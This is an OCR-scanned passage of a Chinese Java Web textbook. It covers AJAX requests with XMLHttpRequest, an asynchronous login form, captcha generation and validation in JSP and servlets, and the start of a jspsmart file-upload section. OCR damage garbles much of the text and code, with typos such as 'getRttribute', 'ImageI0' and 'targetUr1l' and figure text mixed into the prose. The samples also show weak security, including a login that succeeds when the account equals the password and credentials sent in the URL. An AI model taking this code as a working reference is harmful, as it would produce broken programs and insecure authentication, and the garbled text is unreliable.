function showInfo(){ 
xmlHttp. open( "GET", "info.jsp", true); 
xmlHttp. onreadystatechange = showState; 
xmlHttp. send( ); 
} 
function showState( ){ 
document. writeln(xmlHttp. readyState); 
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} 
</SCRIPT> 
欢迎 来 到 本 系统 . < hr > 
< input type = "button" value = "显示 公司 信息 " onClick = "showInfo()"> 
</body> 
</html> 


运行 程序 ,效果 如 图 12-9 所 示 。 
单 击 按钮 ,效果 如 图 12-10 所 示 。 


欢迎 来 到 本 系统 . 
1234 
12-9 ”welcome3. jsp 页 面 运行 效果 12-10 单 击 “ 显 示 公 司 信息 ”按钮 时 的 效果 


这 说 明 该 响应 函数 运行 了 4 次 。 注 意 ,0 在 此 处 没有 打印 出 来 ,对 于 原因 ,读者 可 以 自 
行 分 析 。 在 一 般 情况 下 ,仅仅 在 readyState 状态 为 4 时 才 做 相应 操作 。 
步骤 4: 编写 处 理 代码 ,具体 如 下 。 


xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
infoDiv. innerHTML = xmlHttp. responseText; 
} 
} 


该 代码 表示 , 当 xmlHttp 的 readyState 为 4 时 将 infoDiv 内 部 的 HTML 代码 变 为 
xmlHttp. responseText。xmlHttp. responseText 表示 xmlHttp 从 提交 目标 中 得 到 的 输出 
的 文本 内 容 , 也 就 是 info. jsp 的 输出 。 

注意 : xmlHttp 除了 有 responseText 属性 以 外 ,还 有 一 个 属性 responseXml, 表 示 从 提 
交 目 标 中 得 到 的 XML 格式 的 数据 。 

特别 说 明 : 

(1) infoDiv 除了 有 innerHTML 属性 之 外 ,还 有 innerText 属性 ,表示 在 该 div 内 显示 内 容 
时 不 考虑 其 HTML 格式 的 标签 ,即将 内 容 原样 显示 。 例 如 在 本 例 中 ,如 果 将 “infoDiv. 
innerHTML=xmlHttp. responseText ; " 改 为 "infoDiv. innerText =xmlHttp. responseText ;”, 显示 


欢迎 来 到 本 系统 . 的 效果 将 会 如 图 12-11 所 示 。 
(2) 除了 div 可 以 达到 动态 显示 内 容 的 效果 之 外 ， 
地 址 ， 北 高 市 朝阳 门 外 <t HTML 中 的 span 也 可 以 做 到 该 效果 。 不 同 的 是 ,span 将 其 
电话 :010-89765434 内 部 的 内 容 以 文本 段 显示 ,div 将 其 内 部 的 内 容 以 段落 显示 。 
12-11 更 改 代码 后 的 页 面 ”一 般 而 言 ,使 用 div 从 界面 上 看 到 的 效果 是 内 容 会 男 起 一 行 
运行 效果 单独 显示 。 


步骤 5: 发 出 请 求 ,调用 xmlHttp 的 send0 函 数 。 


xmlHttp. send( ); 
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如 果 请 求 方式 是 GET, send(O) 函 数 可 以 没有 参数 ,或 者 参数 为 null; 如 果 请 求 方式 是 
POST ,可 以 将 需要 传送 的 内 容 传 人 send0 函 数 以 字符 串 的 形式 发 出 。 

不 过 ,即使 是 以 POST 方式 请 求 ,send0 函 数 仍然 可 以 将 参数 置 空 ,因为 可 以 将 需要 传 
送 的 内 容 附 加 在 URL 后 面 进 行 请 求 。 例 如 : 


xmlHttp. open( "POST", "info. jsp?account = 0001", true); 


xmlHttp. send( ); 


在 info. jsp 中 用 request. getParameter("account") 得 到 。 

由 于 在 AJAX 项 目 中 目标 页 面 是 异步 提交 ,所 以 如 果 目 标 页 面 发 生 了 修改 ,在 客户 端 
不 一 定 能 够 马上 检测 到 ,显示 的 仍然 是 以 前 目标 页 面 的 内 容 。 在 此 种 情况 下 ,可 以 用 如 下 方 
法 进行 解决 。 

(1) 在 目标 页 面 直接 输入 URL 进行 访问 ,使 服务 器 重新 编译 。 

(2) 在 目标 页 面 用 “response. setHeader("Cache-Control","no-cache");” 设 置 不 在 客户 
端 缓存 驻 留 。 


12.3 AJAX 简单 案例 


12.3.1 表单 验证 需求 


本 节 以 登录 界面 为 例 , 首 先 编写 登录 页 面 login. jsp, 如 图 12-12 所 示 。 
如 果 登 录 成 功 (例如 guokehua 登录 成 功 ) , 则 在 界面 上 显示 如 图 12-13 所 示 的 信息 。 
如 果 登 录 失 败 , 显 示 结 果 如 图 12-14 所 示 。 


基地 玫 学 生 管 琐 欢迎 登录 学 生 管理 系统 . 
A 孙子 : 人 rr 
欢迎 guokehua 登 录 成 功 ! 迎 登 录 学 系统 . 
请 您 输入 账号 : euokenua 尝 生 ， 对 不 起 ， 登 录 失 败 ! 
oo 学 生 资 料 请 您 检查 是 否 ， 
请 您 输入 密码 :eeeeeee 和 笠 六 作 作 二 全 
匿 到 退出 密码 写 异 
图 12-12 页面 运行 效果 图 12-13 登录 成 功 图 12-14 登录 失败 


在 登录 时 ,浏览 器 窗口 不 刷新 ,浏览 器 地 址 栏 上 的 地 址 不 变 , 网 页 上 其 他 部 分 的 浏览 不 
受 影响 。 
12.3.2 实现 方法 

很 明显 ,以 上 功能 的 实现 可 以 借助 AJAX。 首 先 ,登录 表单 中 的 账号 和 密码 提交 到 
Servlet, 由 Servlet 调用 DAO 进行 验证 ,最 后 根据 结果 决定 跳 转 到 哪个 页 面 显示 结果 。 

由 于 篇 幅 关 系 , 这 里 对 DAO 的 功能 进行 了 简化 ,认为 账号 和 密码 相符 就 登录 成 功 。 以 
下 是 LoginServlet. java 的 源 代码 。 
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LoginServlet. java 


package servlets; 

import java. io. IOException; 

import javax. servlet. RequestDispatcher; 

import javax. servlet. ServletContext; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import javax. servlet. http. HttpSession; 


public class LoginServlet extends HttpServlet { 


public void doPost(HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
String account = request. getParameter("account" ); 
String password = request. getParameter("password" ); 
String loginState = "Fail"; 
String targetUrl = "/loginFail. jsp"; 
// 认 为 账号 和 密码 相符 就 登录 成 功 , 此 处 是 对 DAO 的 简化 
if(account. equals(password)){ 
loginState = "Success"; 
targetUrl = "/loginSuccess. jsp"; 
HttpSession session = request. getSession( ); 
session. setAttribute("account", account); 
} 
request. setAttribute("loginState", loginState); 
ServletContext application = this. getServletContext(); 
RequestDispatcher rd= 
application. getRequestDispatcher(targetUr1l) ; 
rd. forward( request, response); 


在 该 Servlet 中 进行 了 数据 验证 ,如 果 登 录 成 功 , 跳 转 到 loginSuccess. jsp; 如 果 登 录 失 
败 , 跳 转 到 loginFail. jsp。loginSuccess.jsp 的 代码 如 下 。 


loginSuccess. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
欢迎 $ {account} 登 录 成 功 !< br > 
您 可 以 选择 以 下 功能 : < br > 
<a href = ""> 查 询 学 生 </a><br> 
<a href = ""> 修 改 学 生 资 料 </a><br> 
<a href = ""> 修 改 用 户 资料 </a><br> 
<a href =""> 退 出 </a><br> 
</body> 
</html > 
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此 处 进行 模拟 。loginFail. jsp 的 代码 如 下 。 


loginFail. jsp 
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<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
对 不 起 ,登录 失败 !< br > 
请 您 检查 是 否 : <br> 
账号 名 写 错 <br> 
密码 写 错 
</body> 
</html > 


最 后 是 login. jsp, 在 该 JSP 上 有 一 个 表单 , 单 击 “ 登 录 ” 按 钮 进行 异步 提交 ,代码 如 下 。 


login. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " — //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
< SCRIPT LANGUAGE = "JavaScript"> 
function login( ){ 
Var account = document. loginForm. account. value; 
var password = document. loginForm. password. value; 
var xmlHttp = new ActiveXObject ("Msxml2. XMLHTTP" ) ; 
var url= 


"servlets/LoginServlet?account = " + account + "&password = " + password; 


xmlHttp. open("POST", url, true); 
xmlHttp. onreadystatechange = function() { 
if (xmlHttp. readyState == 4) { 
resultDiv. innerHTML = xmlHttp. responseText; 


} 
else{ 

resultDiv. innerHTML += "正在 登录 ,请 稍 候 .……. 
} 


, 
xmlHttp. send( ); 
3 
</SCRIPT> 
欢迎 登录 学 生 管理 系统 . < hr > 
<div id = "resultDiv"> 
< form name = "loginForm"> 
请 您 输入 账号 :< input type = "text" name= "account"><br> 
请 您 输入 密码 :< input type = "password" name = "password"><br> 
< input type = "button" value = "登录 "onclick = "login()"> 
</form> 
</div> 
</body> 
</html > 


了 , 即 可 得 到 相应 的 效果 。 
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注意 : 此 处 的 按钮 类 型 千 万 不 要 写成 submit ,和 否则 会 造成 表单 提交 时 界面 刷新 ,不 是 
AJAX 效果。 


12.3.3 需要 注意 的 问题 


从 以 上 介绍 中 可 以 看 出 ,AJAX 具有 如 下 优点 。 

(1) 减轻 服务 器 负担 ,避免 整个 浏览 器 窗口 刷新 时 造成 的 重复 请 求 。 

(2) 带 来 更 好 的 用 户 体验 。 

(3) 进一步 促进 页 面 呈 现 和 数据 本 身 的 分 离 等 。 

但 是 AJAX 也 有 一 些 缺 点 ,主要 体现 在 以 下 方面 。 

(1) 对 浏览 器 具有 一 定 的 限制 ,对 于 不 兼容 的 浏览 器 ,可 能 无 法 使 用 。 

(2) AJAX 没有 刷新 页 面 ,浏览 器 上 的 “后 退 ” 按 钮 是 失效 的 ,因此 客户 经 常 无 法 回 退 到 
以 前 的 操作 。 


12.4 本 章 小 结 


本 章 学 习 了 AJAX 的 基础 知识 ,首先 通过 一 些 实际 案例 了 解 了 AJAX 技术 的 原理 , 然 
后 通过 一 个 简单 的 案例 讲解 了 AJAX 技术 的 基础 API 编程 。 


12.5 课 后 习题 


一 、 填空 题 

下 是 整个 AJAX 的 核心 部 分 , 它 使 开发 人 员 能 够 运用 编程 语言 来 控制 浏览 器 
端的 行为 。 

2. AJAX 技术 包括 5 

3. AJAX 中 open0 方 法 的 参数 的 舍 义 分 别 是 、 、 

4.AJAX 中 open( 访 法 的 第 3 个 参数 为 ,表示 异步 请 求 。 

5. readyState 属性 的 状态 有 、 

6. 当 xmlHttp 状态 改变 时 需要 进行 的 处 理 一 般 以 _ 形式 进行 。 

7. xmlHttp 除了 有 responseText 属性 外 ,还 有 一 个 属性 ,含义 是 

8. 当 xmlHttp. open() 函 数 中 的 请 求 方式 为 时 ,send() 函 数 可 以 没有 参数 。 

9. 用 来 监听 readyState 的 方法 是 本 

二 、 选 择 题 


1. AJAX 的 英文 全 称 是 (。 )。 
A. AsptJavaScript+XML 
B. Asynchronous+Java+XML 
C. Asynchronous+JavaScript+XML 
D. Asynchronous+JavaScript+XHTML 
2. 下 面 关 于 AJAX 的 描述 错误 的 是 ( 5 
A. AJAX 是 一 个 新 技术 
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B.AJAX 使 用 XMLHttpRequest 获取 数据 
C. AJAX 使 用 XHTML 和 CSS 基于 的 标准 表示 技术 
D. AJAX 使 用 XML 和 XSLT 进行 数据 互 换 和 操作 
3. 在 AJAX 模 式 中 ,客户 端的 请 求 是 ( ) 完 成 的 。 
A. 同步 B. 异步 C. 并 发 D. 单 向 
4. 以 下 关于 AJAX 优势 和 劣势 的 描述 ,说 法 错误 的 是 ( Nis 
A. 改善 表单 验证 方式 ,不 再 需要 打开 新 页 面 , 也 不 再 需要 将 整个 页 面 数据 提交 
B. 应 用 仅 由 少量 页 面 组 成 ,大 部 分 交互 在 页 面 之 内 完成 ,不 需要 切换 整个 页 面 
C. 按 需 获取 数据 ,每 次 只 从 服务 器 端 获 取 需 要 的 数据 
D. AJAX 可 以 取代 传统 的 Web 应 用 开发 
5. 使 用 AJAX 技术 编写 Web 应 用 程序 ,其 使 用 ( ) 格 式 实现 数据 的 传递 。 


A. HTML B. XHTML C. XML BG TXT 
6. XMLHttpRequest 对 象 的 readyState 属性 值 为 ( ) ,代表 请 求 成 功 接收 数据 
A. 1 BB 有 2 GCG: 3 D. 4 


7. 在 创建 请 求 的 代码 片段 xmlhttp. open("get","info. jsp?a 王 1") 中 , 传递 的 参数 值 
为 ( )。 


A. get B. info. jsp ,| BY 
8. onreadystatechange 事件 在 ( ) 选 项 中 发 生变 化 时 触发 。 
A. onchange B. readystatus C. readyState D. onfocus 


9. 在 Firefox 浏览 器 上 创建 XMLHttpRequest 对 象 的 方法 是 ( 。”)。 

A. var xmlHttp=new ActiveXObject("Msxml2. XMLHTTP"); 
. var xmlHttp=new XMLHttpRequestO; 
. var xmlHttp=new ActiveXObject("Microsoft. XMLHTTP"); 
.以 上 都 不 对 

三 、 上 机 习题 

在 数据 库 中 建立 表 T_BOOK ,其 包含 图 书 ID、 图 书 名称 、 图 书 价格 。 

1. 制作 “添加 图 书 ” 界 面 , 在 界面 上 有 一 个 表单 ,输入 书本 号 书本 名 称 和 价格 ,提交 ,能 
够 用 INSERT 语句 向 T_BOOK 表 中 插入 记录 ,但 是 页 面 不 刷新 。 

2. 制作 一 个 图 书 模糊 查询 界面 ,输入 图 书 名 称 的 模糊 信息 ,能 够 显示 系统 中 所 有 图 书 
的 名 称 和 价格 ,但 是 页 面 不 刷新 ,结果 在 页 面 下 方 显示 。 
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验证 码 和 文件 的 上 传 与 下 载 


建议 学 时 : 2 
验证 码 可 以 防止 恶意 用 户 利用 机 器 人 程序 强行 注册 和 登录 ,文件 的 上 传 与 下 载 也 是 
Web 网 站 中 经 常 使 用 的 功能 。 本 章 将 学 习 验 证 码 的 开发 和 文件 上 传 与 下 载 的 基本 实现 。 


13.1 使 用 JSP 验证 码 


为 什么 需要 验证 码 呢 ? 首先 来 看 如 图 13-1 所 示 的 图 片 。 

图 13-1 是 某 系 统 的 登录 页 面 。 从 该 页 面 上 可 以 看 出 ,似乎 能 通过 账号 和 密码 进行 验 
证 ,但 页 面 上 出 现 了 一 个 新 的 输入 项 一 一 验证 码 。 

验证 码 有 什么 作用 呢 ? 假如 该 系统 没有 验证 码 ,直接 通过 用 户 名 和 密码 登录 ,那么 可 能 
会 有 恶意 用 户 不 停 地 输入 用 户 名 和 密码 进行 登录 试探 ,或 者 该 用 户 使 用 一 个 输入 程序 (俗称 
机 器 人 程序 ) 不 停 地 登录 ,有 理由 相信 和 总 有 一 天 该 用 户 是 能 够 破解 密码 的 ,这 样 就 可 以 使 用 
别人 的 账号 了 ; 即使 没有 破解 密码 ,只 是 不 停 地 登录 ,服务 器 每 次 都 会 验证 数据 库 , 也 会 严 
重 降 低 服务 器 的 效率 ,导致 其 他 人 不 能 使 用 ,但 是 有 了 验证 码 之 后 就 可 以 避免 这 种 现象 ,如 
图 13-2 所 示 。 


登录 百度 账号 
口 短信 快 持 要 录 

S| 

外 

忆 RK GE > > 

国 下 次 自动 登录 登录 迁 到 问 是 | 立即 注册 
| | RKGE 

13-1 含有 验证 码 的 表单 图 13-2 验证 码 


因为 每 登录 一 次 服务 器 ,客户 都 需要 提供 一 次 验证 码 , 而 验证 码 每 次 都 是 不 同 的 ,所 以 
很 难 使 用 机 器 人 程序 反复 登录 (机 器 人 程序 无 法 识别 验证 码 ), 这 就 是 验证 码 强 大 的 功能 
所 在 。 

所 谓 验 证 码 ,就 是 由 服务 器 产生 一 串 随机 数字 或 符号 形成 一 幅 图 片 ,图 片 应 该 传 给 客户 
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端 ,为 了 防止 客户 端 用 一 些 程序 进行 自动 识别 ,在 图 片 中 通常 要 加 上 一 些 干扰 像素 ,由 用 户 
肉眼 识别 其 中 的 验证 码 信息 。 在 客户 输入 表单 提交 时 验证 码 也 提交 给 网 站 服务 器 ,只 有 验 
证 成 功 才能 执行 实际 的 数据 库 操作 。 

验证 码 在 网 络 投 票 ,交友 论坛 .网 上 商城 等 业务 中 经 常用 来 防止 恶意 客户 侵入 、 恶 意 灌 
水 、 刷 票 等 ,在 Web 中 有 着 重要 的 应 用 。 

验证 码 可 以 防止 客户 对 网 站 的 恶意 访问 ,首先 必须 具有 以 下 几 个 性 质 。 

(1) 不 同 的 请 求 ,得 到 的 验证 码 应 该 是 随机 的 ,或 者 是 无 法 预知 的 ,必须 由 服务 器 端 
产生 ; 

(2) 验证 码 必 须 通 过 人 眼 识别 ,而 通过 图 像 编 程 方法 编写 的 机 器 人 程序 在 客户 端 运行 
几乎 无 法 识别 ,这 是 验证 码 都 比较 牌 斜 或 者 模糊 的 原因 ,否则 很 容易 通过 图 像 处 理 算法 来 
识别 。 

(3) 除了 通过 人 有 眼 观察 之 外 ,客户 端 无 法 通过 其 他 手段 获取 验证 码 信息 ,这 就 是 验证 码 
为 什么 用 图 片 ,而 不 是 直接 用 一 个 数字 文本 在 页 面 上 显示 的 原因 ,客户 端 可 能 通过 访问 网 页 
源 代 码 的 方式 获取 验证 码 的 内 容 。 

最 初 的 验证 码 只 是 几 个 随机 生成 的 数字 ,但 是 很 快 就 有 能 识别 数字 的 软件 了 ,常见 的 验 
证 码 是 随机 数字 (有 的 系统 也 用 随机 文字 ) 图 片 验证 码 , 不 过 目前 正在 研究 对 验证 码 的 识别 。 

验证 码 的 工作 流程 如 下 。 

(1) 服务 器 端 随机 生成 验证 码 字符 串 ,保存 在 session 中 ,并 写 和 图片, 将 图 片 连同 表单 
发 给 客户 端 。 

(2) 客户 端 输入 验证 码 并 提交 ,服务 器 端 获取 客户 提交 的 验证 码 , 和 前 面 产 生 的 随机 验 
证 码 字 符 串 相 比 较 , 如 果 相 同 , 则 继续 进行 表单 所 描述 的 操作 (例如 登录 ,注册 等 ); 如 果 不 
同 , 直 接 将 错误 信息 返回 给 客户 端 ,避免 程序 的 继续 运行 以 及 访问 数据 库 。 


13.2 验证 码 开发 


13.2.1 在 JSP 上 开发 验证 码 


在 JSP 上 开发 验证 码 的 步骤 如 下 。 
(1) 实例 化 java. awt. image. BufferedImage 类 . 它 的 作用 是 访问 图 像 数 据 缓 冲 区 ,或 者 
说 对 所 要 绘制 的 图 片 对 象 进行 访问 。 


BufferedImage image = new BufferedImage(width, height, 
BufferedImage. TYPE_INT RGB); 


width 和 height 表示 的 是 所 产生 图 片 的 大 小 ,BufferedImage. TYPE_INT_RGB 指使 用 
的 颜色 模式 为 RGB 模式 (对 于 其 他 模式 ,读者 可 以 自己 去 了 解 ) 。 
(2) 从 BufferedImage 中 获取 Graphics 类 对 象 (画笔 ) ,并 设 定 相关 属性 。 


Graphics g= image. getGraphics( ); 


Graphics 提供 了 对 几何 形状 .坐标 转换 、 颜 色 管理 和 文本 布局 更 为 复杂 的 控制 。 
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g. setColor(Color color); // 设 置 颜色 
g.fillRect( int, int, int, int); // 设 置 生成 的 图 片 为 长 方形 


(3) 产生 4 位 随机 数 , 并 将 其 存 人 session 中 。 


// 产 生 随 机 数 

Random rnd = new Random( ); 

int randNum = rnd. nextInt(8999) + 1000; 
String randStr = String. valueOf (randNum); 
session. setRttribute("randStr"，randStr) ; 


(4) 用 画笔 画 出 随机 数 和 干扰 点 。 


g. setColor(Color. black); 
g. setFont(new Font("", Font.PLAIN, 20)); 
g. drawString(randSstr, 10, 17); 
// 随 机 产生 100 个 干扰 点 ,使 图 像 中 的 验证 码 不 易 被 其 他 程序 探测 到 
for (int i=0; i<100; i++){ 
int x= rnd. nextInt(width); 
int y= rnd. nextInt(height); 
g.drawOval(x, y, 1, 1); 


(5) 输出 图 像 。 


// 输 出 图 像 到 页 面 
ImageI0. write(Image image, "JPEG", response. getOutputStream()); 


(6) 清除 缓冲 区 。 


out. clear(); 
out = pageContext. pushBody( ); 


下 面 通过 以 上 6 个 步骤 在 JSP 页 面 中 生成 验证 码 , 代 码 如 validate. jsp 所 示 。 


validate. jsp 


< 外 四 page language = "java" 
import = "java.awt. *" 
import = "java. awt. image. BufferedImage" 
import = "java. util. *" 
import = "javax. imageio. ImageIO" 
pageEncoding = "gb2312" %> 

< 和 


response. setHeader("Cache - Control", "no — cache"); 
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// 在 内 存 中 创建 图 像 
int width= 60, height = 20; 
BufferedImage image = new BufferedImage(width, height, 
BufferedImage. TYPE INT RGB); 
// 获 取 画 笔 
Graphics g = image. getGraphics(); 
// 设 定 背景 色 
g. setColor(new Color(200, 200, 200)); 
g.fillRect(0, 0, width, height); 
// 取 随机 产生 的 验证 码 (4 位 数字 ) 
Random rnd = new Random( ); 
int randNum = rnd. nextInt(8999) + 1000; 
String randStr = String. valueOf (randNum); 
// 将 验证 码 存 人 session 
session. setAttribute("randStr", randStr); 
// 将 验证 码 显示 到 图 像 中 
g. setColor(Color. black); 
g. setFont(new Font("", Font.PLAIN, 20)); 
g. drawString(randstr, 10, 17); 
// 随 机 产生 100 个 干扰 点 ,使 图 像 中 的 验证 码 不 易 被 其 他 程序 探测 到 
for (int i=0; i<100; i++){ 
int x= rnd. nextInt(width); 
int y= rnd. nextInt(height); 
g.drawOval(x, y, 1, 1); 


' 
// 输 出 图 像 到 页 面 
ImageI0. write( image, "JPEG", response.getOutputStreanm()); 
out. clear(); 
out = pageContext. pushBody( ); 
%> 


在 浏览 器 中 访问 validate. jsp 页 面 将 得 到 (当然 ,读者 的 计算 
机 上 获得 的 验证 码 不 一 定 相 同 ) 如 图 13-3 所 示 的 验证 码 。 

刷新 ,获得 不 同 的 验证 码 。 国耻 各 个 此 的 驳 汪 码 

但 是 验证 码 单独 出 现 , 没 有 起 到 安全 保障 的 作用 ,因为 验证 码 还 需要 和 表单 提交 组 合 起 
来 使 用 。 将 验证 码 和 登录 组 合 起 来 使 用 的 思想 就 是 把 验证 码 当 作 一 张 图 片 处 理 , 代 码 如 
loginForm. jsp 所 示 。 


loginForm. jsp 
<% @ page language = "java" pageEncoding = "gb2312" %> 
< html > 
<body> 
欢迎 登录 本 系统 < br > 


<form action = "/Prjl3/servlets/ValidateServlet" method = "post"> 
请 您 输入 账号 :< input type = "text" name = "account" /><br> 
请 您 输入 密码 : < input type = "password" name = "password" /><br> 
验证 码 :< input type = "text" name = "code" size= "10"> 
<! -- 将 验证 码 当 成 图 片 处 理 -> 
< img border = 0 src= "validate. jsp"> 
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< input type= "submit" value= "登录 "> 
</form> 
</body> 
</htm] > 
欢迎 登录 本 系统 访问 loginForm. jsp 页 面 即 可 得 到 如 图 13-4 所 示 的 
效果 。 
请 您 输入 账号 : | 
请 您 输入 密码 : 13.2.2 实现 验证 码 刷 新 
验证 码 : 23025: 实现 验 
仙 1 认 丰 让 二 简便 区 训 宁 和 当 用 户 看 不 清楚 的 时 候 可 以 通过 刷新 重新 生成 验 


证 码 。 验 证 码 的 刷新 技术 有 很 多 ,一 般 使 用 JavaScript 
刷新 验证 码 ,最 方便 的 方法 是 单 击 验证 码 图 片 获 得 新 的 验证 码 。 在 本 例 中 使 用 JavaScript 
来 刷新 验证 码 。 


refresh. jsp 
<%@ page language = "java" pageEncoding = "gb2312" %> 
< html > 
< body> 


< script type = "text/javascript"> 
function refresh(){ 
loginForm. imgValidate. src = "validate. jsp?id= ”+ Math. random() "; 
} 
</script > 
欢迎 登录 本 系统 < br > 
< form name = "loginForm" action = "/Prjl3/servlets/ValidateServlet" method = "post"> 
请 您 输入 账号 :< input type = "text" name = "account" /><br> 
请 您 输入 密码 : < input type = "password" name = "password" /><br> 
请 输入 验证 码 :< input type = "text" name = "code" size= "10"> 
< img name = "imgValidate" src= "validate. jsp" onclick = "refresh()">< br> 
< input type = "submit" value = "登录 "> 
</form> 
</body> 
</html > 


访问 refresh. jsp 页 面 得 到 如 图 13-5 所 示 的 效果 。 欢迎 登录 本 系统 
i i 人 圭 要 注音 的 有 是. 
单 击 验 证 码 图 片 ,验证 码 会 刷新 。 需 要 注意 的 是 清 你 栓 入 屿 : 
上 述 代 码 中 refreshO0 函 数 的 src 后 面 必须 加 一 个 随机 的 。” 请 您 输入 密码 ; 
参数 (代码 中 的 id) ,否则 验证 码 将 不 会 正常 刷新 。 WE NN 9429: 


13.2.3 用 验证 码 进行 验证 


下 面 使 用 验证 码 进行 验证 。 单 击 * 登 录 ? 按 钮 将 访 
问 ValidateServlet ,该 Servlet 的 作用 是 根据 所 输入 验证 码 的 正确 性 决定 是 否 将 请 求 向 下 提 
交 。ValidateServlet. java 的 代码 如 下 。 


图 13-5 含有 验证 码 的 登录 页 面 
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ValidateServlet. java 


package servlets; 


import java. io. IOException; 

import java. io. PrintWriter; 

import javax. servlet. ServletException; 

import javax. servlet. http. HttpServlet; 

import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import javax. servlet. http. HttpSession; 


public class ValidateServlet extends HttpServlet { 
public void doPost (HttpServletRequest request, HttpServletResponse response) 
throws ServletException, IOException { 
// 得 到 提交 的 验证 码 
String code = request. getParameter("code" ) ; 
// 获 取 session 中 的 验证 码 
HttpSession session = request. getSession( ); 
String randStr = (String)session. getRttribute("randStr" ) ; 
response. setCharacterEncoding( "gb2312" ) ; 
PrintWriter out = response. getWriter( ); 
if(!code.equals(randStr) ){ 
out. println(" 验 证 码 错误 !"); 
} 
else{ 
out. println(" 验 证 码 正确 ! 跳 转 到 LoginServlet.……. 加 
} 


首先 访问 refresh. jsp 页 面 ,并 输入 不 正确 的 验证 码 ,得 到 如 图 13-6 所 示 的 效果 。 
如 果 输 入 的 验证 码 正确 , 单 击 “ 登 录 ” 按 钮 ,将 得 到 如 图 13-7 所 示 的 效果 。 


验证 码 错误 ! 验证 码 正确 ! 跳 转 到 LoginServlet...... 
图 13-6 输入 了 不 正确 的 验证 码 图 13-7 输入 了 正确 的 验证 码 
因此 成 功 实现 了 验证 码 的 验证 。 


注意 : 在 验证 码 的 验证 过 程 中 ,由 于 生成 的 随机 数 在 验证 码 生 成 时 已 经 被 放 进 session 
中 ,所 以 在 ValidateServlet 中 才 可 以 从 session 中 获取 随机 数 。 


13.3 认识 文件 上 传 


在 Java Web 应 用 开发 中 ,文件 的 上 传 是 必 不 可 少 的 功能 ,例如 上 传 简历 上传 图 片 ,又 
或 者 是 上 传 源 代 码 等 ,如 图 13-8 所 示 。 

提 到 实现 文件 上 传 , 最 传统 并 且 最 常 被 用 到 的 就 是 文件 上 传 控件 < input type= "file">。 

下 面 利 用 简单 的 例子 介绍 < input type= "file"> 控 件 的 用 法 ,代码 如 fileTest. jsp 所 示 。 
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上 传 文件 全 


送 笃 文件 | 单个 文件 最 大 支持 512M、 支 持 多 先 


使 用 协议 取消 全 部 上 传 


13-8 文件 上 传 


fileTest. jsp 


<%@ page language = "java" import = "java.util. * ”pageEncoding = "gb2312" %> 
<html > 
<body> 
文件 上 和 传 
<hr> 
< form method = "post”name = "upload"> 
请 你 选择 一 个 文件 进行 上 传 : 
< input type = "file" name = "myFile"> 
< input type= "submit" value= "上 传 "> 
</form> 
</body> 
</html > 


程序 运行 的 效果 如 图 13-9 所 示 。 
文件 上 传 


请 你 选择 一 个 文件 进行 上 传 : [| 
图 13-9 页面 运行 效果 


通过 该 控件 , 单 击 “ 浏 览 ” 按 钮 ,就 能 选择 指定 的 文件 进行 上 传 操 作 。 
文件 上 传 其 实 就 是 把 客户 端 本 地 计算 机 中 的 文件 保存 到 网 站 服务 器 中 ,当然 此 时 不 能 
简单 地 用 request. getParameter( 访 法 来 获得 文件 的 数据 。 


13.4 实现 文件 上 传 


13.4.1 文件 上 传 包 
本 节 介绍 如 何 实现 文件 的 上 传 功 能 。 当 然 可 以 利用 前 面 章节 的 知识 ,使 用 JSP+Servlet 的 
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传统 方式 来 实现 ,但 是 需要 考虑 很 多 问题 ,例如 文件 编码 格式 、 文 件 大 少 、 文 件 分 块 等 问题 ， 
使 用 传统 方法 解决 上 述 问 题 是 比较 令 人 头痛 的 。 

Java 是 一 门 开 源 的 语言 ,在 互联 网 上 提供 了 很 多 免费 的 功能 多 样 的 组 件 , 其 中 包括 实 
现 文件 上 传 功能 的 组 件 。 

此 处 介绍 比较 有 名 的 jspsmart 文件 上 传 包 。jspsmart 文件 上 传 包 功 能 强大 且 非 常 易 
用 ,只 需 几 行 代码 就 可 以 实现 文件 的 上 传 功能 。 另 外 , 它 还 可 以 对 上 传 过 程 进行 监控 ,对 文 
件 的 大 小 以 及 类 型 做 出 限制 。 

首先 需要 在 网 上 下 载 jspsmart 文件 上 传 包 , 下载 后 解压 ,里 面 会 是 一 个 jar 包 , 在 使 用 
的 时 候 将 其 复制 到 项 目的 lib 文件 夹 下 即 可 。 在 本 例 中 提供 的 是 jsmartcom_zh_CN. jar。 


13.4.2 如 何 实现 文件 上 传 


下 面 利用 jspsmart 文件 上 传 包 实现 文件 上 传 的 功能 ,此 处 继续 采用 Servlet 编程 方式 
实现 该 功能 。 
首先 需要 定义 表单 ,用 于 向 服务 器 上 传 指定 的 文件 ,程序 如 uploadForm. jsp 所 示 。 


uploadForm. jsp 


<% @ page language = "java" pageEncoding = "gb2312" $ > 
< html > 
< body> 
文件 上 传 
<hr> 
< form action = "/Prjl3/servlets/UploadServlet" method = "post" 
enctype = "multipart/form— data"> 
请 你 选择 一 个 文件 进行 上 传 : 
< input type = "file" name = "myFile"> 
< input type= "submit" value= "上 传 "> 
</form> 
$ {msg} 
</body> 
</html > 


uploadForm. jsp 程序 和 传统 表单 唯一 不 同 的 是 在 form 表单 中 添加 了 enctype 属性 ,该 
属性 告诉 Servlet 表单 提交 的 数据 将 会 被 编码 并 且 具 有 多 个 部 分 ,另外 其 值 一 定 是 
“multipart/form-data”, 然 后 method 一 定 是 “post”。 

在 jsmartcom_zh_CN. jar 中 提供 了 很 多 API, 其 中 比较 重要 的 有 以 下 几 个 。 

(1) com. jspsmart. upload. SmartUpload: 负责 进行 文件 的 上 传 ,其 具有 以 下 重要 API。 

QD SmartUpload. initialize (ServletConfig, HttpServletRequest, HttpServletResponse): 
负责 在 上 传 之 前 进行 初始 化 ,传人 当前 Servlet 的 ServletConfig、HttpServletRequest 和 
HttpServletResponse 参数 。 

@ SmartUpload. upload0: 负责 实现 上 传 。 

@ SmartUpload. getFiles0: 负责 获取 上 传 的 所 有 文件 对 象 。 

@ SmartUpload. getFilesO getFileG): 负责 获取 上 传 的 第 i 个 对 象 ,返回 com. jspsmart 
. upload. File。 
